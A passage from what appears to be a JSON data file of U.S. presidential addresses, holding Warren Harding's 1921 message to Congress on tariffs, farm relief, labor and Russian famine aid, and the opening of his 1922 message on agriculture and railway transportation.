signal achievement, and the\nperfection of the system, a thing impossible in the few months available\nfor its initial trial, will mark its enactment as the beginning of the\ngreatest reformation in governmental practices since the beginning of the\nRepublic.There is pending a grant of authority to the administrative branch of the\nGovernment for the funding and settlement of our vast foreign loans growing\nout of our grant of war credits. With the hands of the executive branch\nheld impotent to deal with these debts we are hindering urgent\nreadjustments among our debtors and accomplishing nothing for ourselves. I\nthink it is fair for the Congress to assume that the executive branch of\nthe Government would adopt no major policy in dealing with these matters\nwhich would conflict with the purpose of Congress in authorizing the loans,\ncertainly not without asking congressional approval, but there are minor\nproblems incident to prudent loan transactions and the safeguarding of our\ninterests which can not even be attempted without this authorization. It\nwill be helpful to ourselves and it will improve conditions among our\ndebtors if funding and the settlement of defaulted interest may be\nnegotiated.The previous Congress, deeply concerned in behalf of our merchant marine,\nin 1920 enacted the existing shipping law, designed for the upbuilding of\nthe American merchant marine. Among other things provided to encourage our\nshipping on the world's seas, the Executive was directed to give notice of\nthe termination of all existing commercial treaties in order to admit of\nreduced duties on imports carried in American bottoms. During the life of\nthe act no Executive has complied with this order of the Congress. When the\npresent administration came into responsibility it began an early inquiry\ninto the failure to execute the expressed purpose of the Jones Act. Only\none conclusion has been possible. Frankly, Members of House and Senate,\neager its I am to join you in the making of an American merchant marine\ncommensurate with our commerce, the denouncement of our commercial\ntreaties would involve us in a chaos of trade relationships and add\nindescribably to the confusion of the already disordered commercial world.\nOur power to do so is not disputed, but power and ships, without comity of\nrelationship, will not give us the expanded trade which is inseparably\nlinked with a great merchant marine. Moreover, the applied reduction of\nduty, for which the treaty denouncements were necessary, encouraged only\nthe carrying of dutiable imports to our shores, while the tonnage which\nunfurls the flag on the seas is both free and dutiable, and the cargoes\nwhich make it nation eminent in trade are outgoing, rather than incoming.It is not my thought to lay the problem before you in detail today. It is\ndesired only to say to you that the executive branch of the Government,\nuninfluenced by the protest of any nation, for none has been made, is well\nconvinced that your proposal, highly intended and heartily supported here,\nis so fraught with difficulties and so marked by tendencies to discourage\ntrade expansion, that I invite your tolerance of noncompliance for only a\nfew weeks until a plan may be presented which contemplates no greater draft\nupon the Public Treasury, and which, though yet too crude to offer it\nto-day, gives such promise of expanding our merchant marine, that it will\nargue its own approval. It is enough to say to-day that we are so possessed\nof ships, and the American intention to establish it merchant marine is so\nunalterable, that a plain of reimbursement, at no other cost than is\ncontemplated in the existing act, will appeal to the pride and encourage\nthe hope of all the American people.There is before you the completion of the enactment of what has been termed\na \"permanent\" tariff law, the word \"permanent\" being used to distinguish\nit from the emergency act which the Congress expedited early in the\nextraordinary session, and which is the law today. I can not too strongly\nurge in early completion of this necessary legislation It is needed to\nstabilize our industry at home; it is essential to make more definite our\ntrade relations abroad. More, it is vital to the preservation of many of\nour own industries which contribute so notably to the very lifeblood of our\nNation.There is now, and there always will be, a storm of conflicting opinion\nabout any tariff revision. We can not go far wrong when we base our tariffs\non the policy of preserving the productive activities which enhance\nemployment and add to our national prosperity.Again comes the reminder that we must not be unmindful of world conditions,\nthat peoples are struggling for industrial rehabilitation and that we can\nnot dwell in industrial and commercial exclusion and at the same time do\nthe just thing in aiding world reconstruction and readjustment. We do not\nseek a selfish aloofness, and we could not profit by it, were it possible.\nWe recognize the necessity of buying wherever we sell, and the permanency\nof trade lies in its acceptable exchanges. In our pursuit of markets we\nmust give as well as receive. We can not sell to others who do not produce,\nnor can we buy unless we produce at home. Sensible of every obligation of\nhumanity, commerce and finance, linked as they are in the present world\ncondition, it is not to be argued that we need destroy ourselves to be\nhelpful to others. With all my heart I wish restoration to the peoples\nblighted by the awful World War, but the process of restoration does not\nlie in our acceptance of like conditions. It were better to, remain on firm\nground, strive for ample employment and high standards of wage at home, and\npoint the way to balanced budgets, rigid economies, and resolute, efficient\nwork as the necessary remedies to cure disaster.Everything relating to trade, among ourselves and among nations, has been\nexpanded, excessive, inflated, abnormal, and there is a madness in finance\nwhich no American policy alone will cure. We are a creditor Nation, not by\nnormal processes, but made so by war. It is not an unworthy selfishness to\nseek to save ourselves, when the processes of that salvation are not only\nnot denied to others, but commended to them. We seek to undermine for\nothers no industry by which they subsist; we are obligated to permit the\nundermining of none of our own which make for employment and maintained\nactivities.Every contemplation, it little matters in which direction one turns,\nmagnifies the difficulty of tariff legislation, but the necessity of the\nrevision is magnified with it. Doubtless we are justified in seeking it.\nMore flexible policy than we have provided heretofore. I hope a way will be\nfound to make for flexibility and elasticity, so that rates may be adjusted\nto meet unusual and changing conditions which can not be accurately\nanticipated. There are problems incident to unfair practices, and to\nexchanges which madness in money have made almost unsolvable. I know of no\nmanner in which to effect this flexibility other than the extension of the\npowers of the Tariff Commission so that it can adapt itself to it\nscientific and wholly just administration of the law.I am not unmindful of the constitutional difficulties. These can be met by\ngiving authority to the Chief Executive, who could proclaim-additional\nduties to meet conditions which the Congress may designate.At this point I must disavow any desire to enlarge the Executive's powers\nor add to the responsibilities of the office. They are already too large.\nIf there were any other plan I would prefer it.The grant of authority to proclaim would necessarily bring the Tariff\nCommission into new and enlarged activities, because no Executive could\ndischarge such a duty except upon the information acquired and\nrecommendations made by this commission. But the plan is feasible, and the\nproper functioning of the board would give its it better administration of\na defined policy than ever can be made possible by tariff duties prescribed\nwithout flexibility.There is a manifest difference of opinion about the merits of American\nvaluation. Many nations have adopted delivery valuation as the basis for\ncollecting duties; that is, they take the cost of the imports delivered at\nthe port of entry as the basis for levying duty. It is no radical\ndeparture, in view of varying conditions and the disordered state of money\nvalues, to provide for American valuation, but there can not be ignored the\ndanger of such a valuation, brought to the level of our own production\ncosts, making our tariffs prohibitive. It might do so in many instances\nwhere imports ought to be encouraged. I believe Congress ought well\nconsider the desirability of the only promising alternative, namely, a\nprovision authorizing proclaimed American valuation, under prescribed\nconditions, on any given list of articles imported.In this proposed flexibility, authorizing increases to meet conditions so\nlikely to change, there should also be provision for decreases. A rate may\nbe just to-day, and entirely out of proportion six months from to-day. If\nour tariffs are to be made equitable, and not necessarily burden our\nimports and hinder our trade abroad, frequent adjustment will be necessary\nfor years to come. Knowing the impossibility of modification by act of\nCongress for any one or a score of lines without involving a long array of\nschedules, I think we shall go a long ways toward stabilization, if there\nis recognition of the Tariff Commission's fitness to recommend urgent\nchanges by proclamation.I am sure about public opinion favoring the early determination of our\ntariff policy. There have been reassuring signs of a business revival from\nthe deep slump which all the world has been experiencing. Our unemployment,\nwhich gave its deep concern only a few weeks ago, has grown encouragingly\nless, and new assurances and renewed confidence will attend the\ncongressional declaration that American industry will be held secure.Much has been said about the protective policy for ourselves making it\nimpossible for our debtors to discharge their obligations to us. This is a\ncontention not now pressing for decision. If we must choose between a\npeople in idleness pressing for the payment of indebtedness, or a people\nresuming the normal ways of employment and carrying the credit, let us\nchoose the latter. Sometimes we appraise largest the human ill most vivid\nin our minds. We have been giving, and are giving now, of our influence and\nappeals to minimize the likelihood of war and throw off the crushing\nburdens of armament. It is all very earnest, with a national soul\nimpelling. But a people unemployed, and gaunt with hunger, face a situation\nquite as disheartening as war, and our greater obligation to-day is to do\nthe Government's part toward resuming productivity and promoting fortunate\nand remunerative employment.Something more than tariff protection is required by American agriculture.\nTo the farmer has come the earlier and the heavier burdens of readjustment.\nThere is actual depression in our agricultural industry, while agricultural\nprosperity is absolutely essential to the general prosperity of the\ncountry.Congress has sought very earnestly to provide relief. It has promptly given\nsuch temporary relief as has been possible, but the call is insistent for\nthe permanent solution. It is inevitable that large crops lower the prices\nand short crops advance them. No legislation can cure that fundamental law.\nBut there must be some economic solution for the excessive variation in\nreturns for agricultural production.It is rather shocking to be told, and to have the statement strongly\nsupported, that 9,000,000 bales of cotton, raised on American plantations\nin a given year, will actually be worth more to the producers than\n13,000,000 bales would have been. Equally shocking is the statement that\n700,000,000 bushels of wheat, raised by American farmers, would bring them\nmore money than a billion bushels. Yet these are not exaggerated\nstatements. In a world where there are tens of millions who need food and\nclothing which they can not get, such a condition is sure to indict the\nsocial system which makes it possible.In the main the remedy lies in distribution and marketing. Every proper\nencouragement should be given to the cooperative marketing programs. These\nhave proven very helpful to the cooperating communities in Europe. In\nRussia the cooperative community has become the recognized bulwark of law\nand order, and saved individualism from engulfment in social paralysis.\nUltimately they will be accredited with the salvation of the Russian\nState.There is the appeal for this experiment. Why not try it? No one challenges\nthe right of the farmer to a larger share of the consumer's pay for his\nproduct, no one disputes that we can not live without the farmer. He is\njustified in rebelling against the transportation cost. Given a fair\nreturn for his labor, he will have less occasion to appeal for financial\naid; and given assurance that his labors shall not be in vain, we reassure\nall the people of a production sufficient to meet our National requirement\nand guard against disaster.The base of the pyramid of civilization which rests upon the soil is\nshrinking through the drift of population from farm to city. For a\ngeneration we have been expressing more or less concern about this\ntendency. Economists have warned and statesmen have deplored. We thought\nfor at time that modern conveniences and the more intimate contact would\nhalt the movement, but it has gone steadily on. Perhaps only grim necessity\nwill correct it, but we ought to find a less drastic remedy.The existing scheme of adjusting freight rates hits been favoring the\nbasing points, until industries are attracted to some centers and repelled\nfrom others. A great volume of uneconomic and wasteful transportation has\nattended, and the cost increased accordingly. The grain-milling and\nmeat-packing industries afford ample illustration, and the attending\nconcentration is readily apparent. The menaces in concentration are not\nlimited to the retardingly influences on agriculture. Manifestly the.\nconditions and terms of railway transportation ought not be permitted to\nincrease this undesirable tendency. We have a just pride in our great\ncities, but we shall find a greater pride in the Nation, which has it\nlarger distribution of its population into the country, where comparatively\nself-sufficient smaller communities may blend agricultural and\nmanufacturing interests in harmonious helpfulness and enhanced good\nfortune. Such a movement contemplates no destruction of things wrought, of\ninvestments made, or wealth involved. It only looks to a general policy of\ntransportation of distributed industry, and of highway construction, to\nencourage the spread of our population and restore the proper balance\nbetween city and country. The problem may well have your earnest\nattention.It has been perhaps the proudest claim of our American civilization that in\ndealing with human relationships it has constantly moved toward such\njustice in distributing the product of human energy that it has improved\ncontinuously the economic status of the mass of people. Ours has been a\nhighly productive social organization. On the way up from the elemental\nstages of society we have eliminated slavery and serfdom and are now far on\nthe way to the elimination of poverty.Through the eradication of illiteracy and the diffusion of education\nmankind has reached a stage where we may fairly say that in the United\nStates equality of opportunity has been attained, though all are not\nprepared to embrace it. There is, indeed, a too great divergence between\nthe economic conditions of the most and the least favored classes in the\ncommunity. But even that divergence has now come to the point where we\nbracket the very poor and the very rich together as the least fortunate\nclasses. Our efforts may well be directed to improving the status of both.While this set of problems is commonly comprehended under the general\nphrase \"Capital and labor,\" it is really vastly broader. It is a question\nof social and economic organization. Labor has become a large contributor,\nthrough its savings, to the stock of capital; while the people who own the\nlargest individual aggregates of capital are themselves often hard and\nearnest laborers. Very often it is extremely difficult to draw the line of\ndemarcation between the two groups; to determine whether a particular\nindividual is entitled to be set down as laborer or as capitalist. In a\nvery large proportion of cases he is both, and when he is both he is the\nmost useful citizen.The right of labor to organize is just as fundamental and necessary as is\nthe right of capital to organize. The right of labor to negotiate, to deal\nwith and solve its particular problems in an organized way, through its\nchosen agents, is just as essential as is the right of capital to organize,\nto maintain corporations, to limit the liabilities of stockholders. Indeed,\nwe have come to recognize that the limited liability of the citizen as a\nmember of a labor organization closely parallels the limitation of\nliability of the citizen as a stockholder in a corporation for profit.\nAlong this line of reasoning we shall make the greatest progress toward\nsolution of our problem of capital and labor.In the case of the corporation which enjoys the privilege of limited\nliability of stockholders, particularly when engaged in in the public\nservice, it is recognized that the outside public has a large concern\nwhich must be protected; and so we provide regulations, restrictions, and\nin some cases detailed supervision. Likewise in the case of labor\norganizations, we might well apply similar and equally well-defined\nprinciples of regulation and supervision in order to conserve the public's\ninterests as affected by their operations.Just as it is not desirable that a corporation shall be allowed to impose\nundue exactions upon the public, so it is not desirable that a labor\norganization shall be permitted to exact unfair terms of employment or\nsubject the public to actual distresses in order to enforce its terms.\nFinally, just as we are earnestly seeking for procedures whereby to adjust\nand settle political differences between nations without resort to war, so\nwe may well look about for means to settle the differences between\norganized capital and organized labor without resort to those forms of\nwarfare which we recognize under the name of strikes, lockouts, boycotts,\nand the like.As we have great bodies of law carefully regulating the organization and\noperations of industrial and financial corporations, as we have treaties\nand compacts among nations which look to the settlement of differences\nwithout the necessity of conflict in arms, so we might well have plans of\nconference, of common counsel, of mediation, arbitration, and judicial\ndetermination in controversies between labor and capital. To accomplish\nthis would involve the necessity to develop a thoroughgoing code of\npractice in dealing with such affairs It might be well to frankly set forth\nthe superior interest of the community as a whole to either the labor group\nor the capital group. With rights, privileges, immunities, and modes of\norganization thus carefully defined, it should be possible to set up\njudicial or quasi judicial tribunals for the consideration and\ndetermination of all disputes which menace the public welfare.In an industrial society such as ours the strike, the lockout, and the\nboycott are as much out of place and as disastrous in their results as is\nwar or armed revolution in the domain of politics. The same disposition to\nreasonableness, to conciliation, to recognition of the other side's point\nof view, the same provision of fair and recognized tribunals and processes,\nought to make it possible to solve the one set of questions its easily as\nthe other. I believe the solution is possible.The consideration of such a policy would necessitate the exercise of care\nand deliberation in the construction of a code and a charter of elemental\nrights, dealing with the relations of employer and employee. This\nfoundation in the law, dealing with the modern conditions of social and\neconomic life, would hasten the building of the temple of peace in industry\nwhich a rejoicing nation would acclaim.After each war, until the last, the Government has been enabled to give\nhomes to its returned soldiers, and a large part of our settlement and\ndevelopment has attended this generous provision of land for the Nation's\ndefenders.There is yet unreserved approximately 200,000,000 acres in the public\ndomain, 20,000,000 acres of which are known to be susceptible of\nreclamation and made fit for homes by provision for irrigation.The Government has been assisting in the development of its remaining\nlands, until the estimated increase in land values in the irrigated\nsections is full $500,000,000 and the crops of 1920 alone on these lands\nare estimated to exceed $100,000,000. Under the law authorization these\nexpenditures for development the advances are to be returned and it would\nbe good business for the Government to provide for the reclamation of the\nremaining 20,000,000 acres, in addition to expediting the completion of\nprojects long under way.Under what is known as the coal and gas lease law, applicable also to\ndeposits of phosphates and other minerals on the public domain, leases are\nnow being made on the royalty basis, and are producing large revenues to\nthe Government. Under this legislation, 10 per centum of all royalties is\nto be paid directly to the Federal Treasury, and of the remainder 50 per\ncentum is to be used for reclamation of arid lands by irrigation, and 40\nper centum is to be paid to the States, in which the operations are\nlocated, to be used by them for school and road purposes.These resources are so vast, and the development is affording so reliable a\nbasis of estimate, that the Interior Department expresses the belief that\nultimately the present law will add in royalties and payments to the\ntreasuries of the Federal Government and the States containing these public\nlands a total of $12,000,000,000. This means, of course, an added wealth of\nmany times that sum. These prospects seem to afford every justification of\nGovernment advances in reclamation and irrigation.Contemplating the inevitable and desirable increase of population, there is\nanother phase of reclamation full worthy of consideration. There are\n79,000,000 acres of swamp and cut-over lands which may be reclaimed and\nmade as valuable as any farm lands we possess. These acres are largely\nlocated in Southern States, and the greater proportion is owned by the\nStates or by private citizens. Congress has a report of the survey of this\nfield for reclamation, and the feasibility is established. I gladly commend\nFederal aid, by way of advances, where State and private participation is\nassured.Home making is one of the greater benefits which government can bestow.\nMeasures are pending embodying this sound policy to which we may well\nadhere. It is easily possible to make available permanent homes which will\nprovide, in turn, for prosperous American families, without injurious\ncompetition with established activities, or imposition on wealth already\nacquired.While we are thinking of promoting the fortunes of our own people I am sure\nthere is room in the sympathetic thought of America for fellow human beings\nwho are suffering and dying of starvation in Russia. A severe drought in\nthe Valley of the Volga has plunged 15,000,000 people into grievous famine.\nOur voluntary agencies are exerting themselves to the utmost to save the\nlives of children in this area, but it is now evident that unless relief is\nafforded the loss of life will extend into many millions. America can not\nbe deaf to such a call as that.We do not recognize the government of Russia, nor tolerate the propaganda\nwhich emanates therefrom, but we do not forget the traditions of Russian\nfriendship. We may put aside our consideration of all international\npolitics and fundamental differences in government. The big thing is the\ncall of the suffering and the dying. Unreservedly I recommend the\nappropriation necessary to supply the American Relief Administration with\n10,000,000 bushels of corn and 1,000,000 bushels of seed grains, not alone\nto halt the wave of death through starvation, but to enable spring planting\nin areas where the seed grains have been exhausted temporarily to stem\nstarvation.The American Relief Administration is directed in Russia by former officers\nof our own armies, and has fully demonstrated its ability to transport and\ndistribute relief through American hands without hindrance or loss. The\ntime has come to add the Government's support to the wonderful relief\nalready wrought out of the generosity of the American private purse.I am not unaware that we have suffering and privation at home. When it\nexceeds the capacity for the relief within the States concerned, it will\nhave Federal consideration. It seems to me we should be indifferent to our\nown heart promptings, and out of accord with the spirit which acclaims the\nChristmastide, if we do not give out of our national abundance to lighten\nthis burden of woe upon a people blameless and helpless in famine's peril.There are it full score of topics concerning which it would be becoming to\naddress you, and on which I hope to make report at a later time. I have\nalluded to the things requiring your earlier attention. However, I can not\nend this limited address without a suggested amendment to the organic law.Many of us belong to that school of thought which is hesitant about\naltering the fundamental law. I think our tax problems, the tendency of\nwealth to seek nontaxable investment, and the menacing increase of public\ndebt, Federal, State and municipal-all justify a proposal to change the\nConstitution so as to end the issue of nontaxable bonds. No action can\nchange the status of the many billions outstanding, but we can guard\nagainst future encouragement of capital's paralysis, while a halt in the\ngrowth of public indebtedness would be beneficial throughout our whole\nland.Such a change in the Constitution must be very thoroughly considered before\nsubmission. There ought to be known what influence it will have on the\ninevitable refunding of our vast national debt, how it will operate on the\nnecessary refunding of State and municipal debt, how the advantages of\nNation over State and municipality, or the contrary, may be avoided.\nClearly the States would not ratify to their own apparent disadvantage. I\nsuggest the consideration because the drift of wealth into nontaxable\nsecurities is hindering the flow of large capital to our industries,\nmanufacturing, agricultural, and carrying, until we are discouraging the\nvery activities which make our wealth.Agreeable to your expressed desire and in complete accord with the purposes\nof the executive branch of the Government, there is in Washington, as you\nhappily know, an International Conference now most earnestly at work on\nplans for the limitation of armament, a naval holiday, and the just\nsettlement of problems which might develop into causes of international\ndisagreement.It is easy to believe a world-hope is centered on this Capital City. A most\ngratifying world-accomplishment is not improbable.", 
+    "name": "Warren Harding"
+}
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+{
+    "date": "December 8, 1922", 
+    "speech": "MEMBERS OF THE CONGRESS:So many problems are calling for solution that a recital of all of them, in\nthe face of the known limitations of a short session of Congress, would\nseem to lack sincerity of purpose. It is four years since the World War\nended, but the inevitable readjustment of the social and economic order is\nnot more than barely begun. There is no acceptance of pre-war conditions\nanywhere in the world. In a very general way humanity harbors individual\nwishes to go on with war-time compensation for production, with pre-war\nrequirements in expenditure. In short, everyone, speaking broadly, craves\nreadjustment for everybody except himself, while there can be no just and\npermanent readjustment except when all participate.The civilization which measured its strength of genius and the power of\nscience and the resources of industries, in addition to testing the limits\nof man power and the endurance and heroism of men and women--that same\ncivilization is brought to its severest test in restoring a tranquil order\nand committing humanity to the stable ways of peace.If the sober and deliberate appraisal of pre-war civilization makes it seem\na worth-while inheritance, then with patience and good courage it will be\npreserved. There never again will be precisely the old order; indeed, I\nknow of no one who thinks it to be desirable For out of the old order came\nthe war itself, and the new order, established and made secure, never will\npermit its recurrence.It is no figure of speech to say we have come to the test of Our\ncivilization. The world has been passing--is today passing through of a\ngreat crisis. The conduct of war itself is not more difficult than the\nsolution of the problems which necessarily follow. I am not speaking at\nthis moment of the problem in its wider aspect of world rehabilitation or\nof international relationships. The reference is to our own social,\nfinancial, and economic problems at home. These things are not to be\nconsidered solely as problems apart from all international relationship,\nbut every nation must be able to carry on for itself, else its\ninternational relationship will have scant importance.Doubtless our own people have emerged from the World War tumult less\nimpaired than most belligerent powers; probably we have made larger\nprogress toward reconstruction. Surely we have been fortunate in\ndiminishing unemployment, and our industrial and business activities, which\nare the lifeblood of our material existence, have been restored as in no\nother reconstruction period of like length in the history of the world. Had\nwe escaped the coal and railway strikes, which had no excuse for their\nbeginning and less justification for their delayed settlement, we should\nhave done infinitely better. But labor was insistent on holding to the war\nheights, and heedless forces of reaction sought the pre-war levels, and\nboth were wrong. In the folly of conflict our progress was hindered, and\nthe heavy cost has not yet been fully estimated. There can be neither\nadjustment nor the penalty of the failure to readjust in which all do not\nsomehow participate.The railway strike accentuated the difficulty of the American farmer. The\nfirst distress of readjustment came to the farmer, and it will not be a\nreadjustment fit to abide until he is relieved. The distress brought to the\nfarmer does not affect him alone. Agricultural ill fortune is a national\nill fortune. That one-fourth of our population which produces the food of\nthe Republic and adds so largely to our export commerce must participate in\nthe good fortunes of the Nation, else there is none worth retaining.Agriculture is a vital activity in our national life. In it we had our\nbeginning, and its westward march with the star of the empire has reflected\nthe growth of the Republic. It has its vicissitudes which no legislation\nwill prevent, its hardships for which no law can provide escape. But the\nCongress can make available to the farmer the financial facilities which\nhave been built up under Government aid and supervision for other\ncommercial and industrial enterprises. It may be done on the same solid\nfundamentals and make the vitally important agricultural industry more\nsecure, and it must be done.This Congress already has taken cognizance of the misfortune which\nprecipitate deflation brought to American agriculture. Your measures of\nrelief and the reduction of the Federal reserve discount rate undoubtedly\nsaved the country from widespread disaster. The very proof of helpfulness\nalready given is the strongest argument for the permanent establishment of\nwidened credits, heretofore temporarily extended through the War Finance\nCorporation.The Farm Loan Bureau, which already has proven its usefulness through the\nFederal land banks, may well have its powers enlarged to provide ample farm\nproduction credits as well as enlarged land credits. It is entirely\npractical to create a division in the Federal land banks to deal with\nproduction credits, with the limitations of time so adjusted to the farm\nturnover as the Federal reserve system provides for the turnover in the\nmanufacturing and mercantile world. Special provision must be made for\nlive-stock production credits, and the limit of land loans may be safely\nenlarged. Various measures are pending before you, and the best judgment of\nCongress ought to be expressed in a prompt enactment at the present\nsession.But American agriculture needs more than added credit facilities. The\ncredits will help to solve the pressing problems growing out of\nwar-inflated land values and the drastic deflation of three years ago, but\npermanent and deserved agricultural good fortune depends on better and\ncheaper transportation.Here is an outstanding problem, demanding the most rigorous consideration\nof the Congress and the country. It has to do with more than agriculture.\nIt provides the channel for the flow of the country's commerce. But the\nfarmer is particularly hard hit. His market, so affected by the world\nconsumption, does not admit of the price adjustment to meet carrying\ncharges. In the last half of the year now closing the railways, broken in\ncarrying capacity because of motive power and rolling stock out of order,\nthough insistently declaring to the contrary, embargoed his shipments or\ndenied him cars when fortunate markets were calling. Too frequently\ntransportation failed while perishable products were turning from possible\nprofit to losses counted in tens of millions.I know of no problem exceeding in importance this one of transportation. In\nour complex and interdependent modern life transportation is essential to\nour very existence. Let us pass for the moment the menace in the possible\nparalysis of such service as we have and note the failure, for whatever\nreason, to expand our transportation to meet the Nation's needs.The census of 1880 recorded a population of 50,000,000. In two decades more\nwe may reasonably expect to count thrice that number. In the three decades\nending in 1920 the country's freight by rail increased from 631,000,000\ntons to 2,234,000,000 tons; that is to say, while our population was\nincreasing, less than 70 per cent, the freight movement increased over 250\nper cent.We have built 40 per cent of the world's railroad mileage, and yet find it\ninadequate to our present requirements. When we contemplate the inadequacy\nof to-day it is easy to believe that the next few decades will witness the\nparalysis of our transportation-using social scheme or a complete\nreorganization on some new basis. Mindful of the tremendous costs of\nbetterments, extensions, and expansions, and mindful of the staggering\ndebts of the world to-day, the difficulty is magnified. Here is a problem\ndemanding wide vision and the avoidance of mere makeshifts. No matter what\nthe errors of the past, no matter how we acclaimed construction and then\ncondemned operations in the past, we have the transportation and the honest\ninvestment in the transportation which sped us on to what we are, and we\nface conditions which reflect its inadequacy to-day, its greater inadequacy\nto-morrow, and we contemplate transportation costs which much of the\ntraffic can not and will not continue to pay.Manifestly, we have need to begin on plans to coordinate all transportation\nfacilities. We should more effectively connect up our rail lines with our\ncarriers by sea. We ought to reap some benefit from the hundreds of\nmillions expended on inland waterways, proving our capacity to utilize as\nwell as expend. We ought to turn the motor truck into a railway feeder and\ndistributor instead of a destroying competitor.It would be folly to ignore that we live in a motor age. The motor car\nreflects our standard of living and gauges the speed of our present-day\nlife. It long ago ran down Simple Living, and never halted to inquire about\nthe prostrate figure which fell as its victim. With full recognition of\nmotor-car transportation we must turn it to the most practical use. It can\nnot supersede the railway lines, no matter how generously we afford it\nhighways out of the Public Treasury. If freight traffic by motor were\ncharged with its proper and proportionate share of highway construction, we\nshould find much of it wasteful and more costly than like service by rail.\nYet we have paralleled the railways, a most natural line of construction,\nand thereby taken away from the agency of expected service much of its\nprofitable traffic, which the taxpayers have been providing the highways,\nwhose cost of maintenance is not yet realized.The Federal Government has a right to inquire into the wisdom of this\npolicy, because the National Treasury is contributing largely to this\nhighway construction. Costly highways ought to be made to serve as feeders\nrather than competitors of the railroads, and the motor truck should become\na coordinate factor in our great distributing system.This transportation problem can not be waived aside. The demand for lowered\ncosts on farm products and basic materials can not be ignored. Rates\nhorizontally increased, to meet increased wage outlays during the war\ninflation, are not easily reduced. When some very moderate wage reductions\nwere effected last summer there was a 5 per cent horizontal reduction in\nrates. I sought at that time, in a very informal way, to have the railway\nmanagers go before the Interstate Commerce Commission and agree to a\nheavier reduction on farm products and coal and other basic commodities,\nand leave unchanged the freight tariffs which a very large portion of the\ntraffic was able to bear. Neither the managers nor the commission tile@@\nsuggestion, so we had the horizontal reduction saw fit to adopt too slight\nto be felt by the higher class cargoes and too little to benefit the heavy\ntonnage calling most loudly for relief.Railways are not to be expected to render the most essential service in our\nsocial organization without a air return on capital invested, but the\nGovernment has gone so far in the regulation of rates and rules of\noperation that it has the responsibility of pointing the way to the reduced\nfreight costs so essential to our national welfare.Government operation does not afford the cure. It was Government operation\nwhich brought us to the very order of things against which we now rebel,\nand we are still liquidating the costs of that supreme folly.Surely the genius of the railway builders has not become extinct among the\nrailway managers. New economies, new efficiencies in cooperation must be\nfound. The fact that labor takes 50 to 60 per cent of total railway\nearnings makes limitations within which to effect economies very difficult,\nbut the demand is no less insistent on that account.Clearly the managers are without that intercarrier, cooperative\nrelationship so highly essential to the best and most economical operation.\nThey could not function in harmony when the strike threatened the paralysis\nof all railway transportation. The relationship of the service to public\nwelfare, so intimately affected by State and Federal regulation, demands\nthe effective correlation and a concerted drive to meet an insistent and\njustified public demand.The merger of lines into systems, a facilitated interchange of freight\ncars, the economic use of terminals, and the consolidation of facilities\nare suggested ways of economy and efficiency.I remind you that Congress provided a Joint Commission of Agricultural\nInquiry which made an exhaustive investigation of car service and\ntransportation, and unanimously recommended in its report of October 15,\n1921, the pooling of freight cars under a central agency. This report well\ndeserves your serious consideration. I think well of the central agency,\nwhich shall be a creation of the railways themselves, to provide, under the\njurisdiction of the Interstate Commerce Commission, the means for financing\nequipment for carriers which are otherwise unable to provide their\nproportion of car equipment adequate to transportation needs. This same\nagency ought to point the way to every possible economy in maintained\nequipment and the necessary interchanges in railway commerce.In a previous address to the Congress I called to your attention the\ninsufficiency of power to enforce the decisions of the Railroad Labor\nBoard. Carriers have ignored its decisions, on the one hand, railway\nworkmen have challenged its decisions by a strike, on the other hand.The intent of Congress to establish a tribunal to which railway labor and\nmanagers may appeal respecting questions of wages and working conditions\ncan not be too strongly commended. It is vitally important that some such\nagency should be a guaranty against suspended operation. The public must be\nspared even the threat of discontinued service.Sponsoring the railroads as we do, it is an obligation that labor shall be\nassured the highest justice and every proper consideration of wage and\nworking conditions, but it is an equal obligation to see that no concerted\naction in forcing demands shall deprive the public of the transportation\nservice essential to its very existence. It is now impossible to safeguard\npublic interest, because the decrees of the board are unenforceable against\neither employer or employee.The Labor Board itself is not so constituted as best to serve the public\ninterest. With six partisan members on a board of nine, three partisans\nnominated by the employees and three by the railway managers, it is\ninevitable that the partisan viewpoint is maintained throughout hearings\nand in decisions handed down. Indeed, the few exceptions to a strictly\npartisan expression in decisions thus far rendered have been followed by\naccusations of betrayal of the partisan interests represented. Only the\npublic group of three is free to function in unbiased decisions. Therefore\nthe partisan membership may well be abolished, and decisions should be made\nby an impartial tribunal.I am well convinced that the functions of this tribunal could be much\nbetter carried on here in Washington. Even were it to be continued as a\nseparate tribunal, there ought to be contact with the Interstate Commerce\nCommission, which has supreme authority in the rate making to which wage\ncost bears an indissoluble relationship Theoretically, a fair and living\nwage must be determined quite apart from the employer's earning capacity,\nbut in practice, in the railway service, they are inseparable. The record\nof advanced rates to meet increased wages, both determined by the\nGovernment, is proof enough.The substitution of a labor division in the Interstate Commerce Commission\nmade up from its membership, to hear and decide disputes relating to wages\nand working conditions which have failed of adjustment by proper committees\ncreated by the railways and their employees, offers a more effective plan.It need not be surprising that there is dissatisfaction over delayed\nhearings and decisions by the present board when every trivial dispute is\ncarried to that tribunal. The law should require the railroads and their\nemployees to institute means and methods to negotiate between themselves\ntheir constantly arising differences, limiting appeals to the Government\ntribunal to disputes of such character as are likely to affect the public\nwelfare.This suggested substitution will involve a necessary increase in the\nmembership of the commission, probably four, to constitute the labor\ndivision. If the suggestion appeals to the Congress, it will be well to\nspecify that the labor division shall be constituted of representatives of\nthe four rate-making territories, thereby assuring a tribunal conversant\nwith the conditions which obtain in the different ratemaking sections of\nthe country.I wish I could bring to you the precise recommendation for the prevention\nof strikes which threaten the welfare of the people and menace public\nsafety. It is an impotent civilization and an inadequate government which\nlacks the genius and the courage to guard against such a menace to public\nwelfare as we experienced last summer. You were aware of the Government's\ngreat concern and its futile attempt to aid in an adjustment. It will\nreveal the inexcusable obstinacy which was responsible for so much distress\nto the country to recall now that, though all disputes are not yet\nadjusted, the many settlements which have been made were on the terms which\nthe Government proposed in mediation.Public interest demands that ample power shall be conferred upon the. labor\ntribunal, whether it is the present board or the suggested substitute, to\nrequire its rulings to be accepted by both parties to a disputed question.Let there be no confusion about the purpose of the suggested conferment of\npower to make decisions effective. There can be no denial of constitutional\nrights of either railway workmen or railway managers. No man can be denied\nhis right to labor when and how he chooses, or cease to labor when he so\nelects, but, since the Government assumes to safeguard his interests while\nemployed in an essential public service, the security of society itself\ndemands his retirement from the service shall not be so timed and related\nas to effect the destruction of that service. This vitally essential public\ntransportation service, demanding so much of brain and brawn, so much for\nefficiency and security, ought to offer the most attractive working\nconditions and the highest of wages paid to workmen in any employment.In essentially every branch, from track repairer to the man at the\nlocomotive throttle, the railroad worker is responsible for the safety of\nhuman lives and the care of vast property. His high responsibility might\nwell rate high his pay within the limits the traffic will bear; but the\nsame responsibility, plus governmental protection, may justly deny him and\nhis associates a withdrawal from service without a warning or under\ncircumstances which involve the paralysis of necessary transportation. We\nhave assumed so great a responsibility in necessary regulation that 